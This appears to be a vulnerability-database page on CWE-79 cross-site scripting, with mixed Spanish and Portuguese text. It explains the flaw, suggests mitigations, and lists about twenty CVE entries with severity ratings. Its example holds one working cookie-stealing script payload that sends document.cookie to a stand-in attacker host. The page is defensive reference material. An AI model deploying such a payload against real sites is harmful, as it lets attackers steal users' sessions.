Fallos del tipo CWE-79

29.596 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2024-56882MEDIUMSage DPW before 2024_12_000 is vulnerable to Cross Site Scripting (XSS). Low-privileged Sage users with employee role privileges can permaneEPSS 0.4%CVE-2022-42187MEDIUMHustoj 22.09.22 has a XSS Vulnerability in /admin/problem_judge.php.EPSS 0.4%CVE-2024-2142MEDIUMUltimate Addons for Beaver Builder – Lite <= 1.5.7 - Authenticated (Contributor+) Stored Cross-Site Scripting via Info Table WidgetEPSS 0.4%CVE-2026-44175HIGHKirby: Cross-site scripting (XSS) from list field content in the site frontendEPSS 0.4%CVE-2024-3988MEDIUMSina Extension for Elementor (Slider, Gallery, Form, Modal, Data Table, Tab, Particle, Free Elementor Widgets & Elementor Templates) <= 3.5.2 - Authenticated (Contributor+) Stored Cross-Site Scripting via Sina Fancy Text WidgetEPSS 0.4%CVE-2023-34412MEDIUMStored XXS vulnerability in mbnet, mbnet.rokey, REX 200 and REX 250EPSS 0.4%CVE-2025-5505MEDIUMTOTOLINK A3002RU Virtual Server Page formPortFw cross site scriptingEPSS 0.4%CVE-2024-2202MEDIUMPage Builder by SiteOrigin <= 2.29.6 - Authenticated (Contributor+) Stored Cross-Site Scripting via Legacy Image WidgetEPSS 0.4%CVE-2026-55596HIGHPlate: Media embed provider metadata can bypass URL sanitization and execute iframe JavaScriptEPSS 0.4%CVE-2026-90561CRITICALStrapi 4.x through 4.26.2 and 5.x before 5.48.1 Stored XSS via WYSIWYGEPSS 0.4%CVE-2023-5708MEDIUMWP Post Columns <= 2.2 - Authenticated (Contributor+) Stored Cross-Site Scripting via ShortcodeEPSS 0.4%CVE-2021-1444MEDIUMCisco Adaptive Security Appliance (ASA) Software and Cisco Firepower Threat Defense (FTD) Software Web Services Interface Cross-Site Scripting VulnerabilityEPSS 0.4%CVE-2024-2801MEDIUMShopkeeper Extender <= 3.6 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.4%CVE-2026-84369MEDIUMSVGO: removeScripts incompletely sanitizes executable HTML in SVG foreignObject elementsEPSS 0.4%CVE-2024-7733MEDIUMFastCMS New Article Category Page cross site scriptingEPSS 0.4%CVE-2024-2799MEDIUMRoyal Elementor Addons and Templates <= 1.3.971 - Authenticated (Contributor+) Stored Cross-Site Scripting via HTML TagsEPSS 0.4%CVE-2025-51487MEDIUMA Stored Cross-Site Scripting (XSS) vulnerability exists in MoonShine version < 3.12.5, allowing to execute arbitrary JavaScript by using "jEPSS 0.4%CVE-2022-20948MEDIUMCisco BroadWorks Hosted Thin Receptionist Cross-Site Scripting VulnerabilityEPSS 0.4%CVE-2024-8370MEDIUMGrocy SVG File Upload recipepictures cross site scriptingEPSS 0.4%CVE-2023-5567MEDIUMQR Code Tag <= 1.0 - Authenticated (Contributor+) Stored Cross-Site Scripting via ShortcodeEPSS 0.4%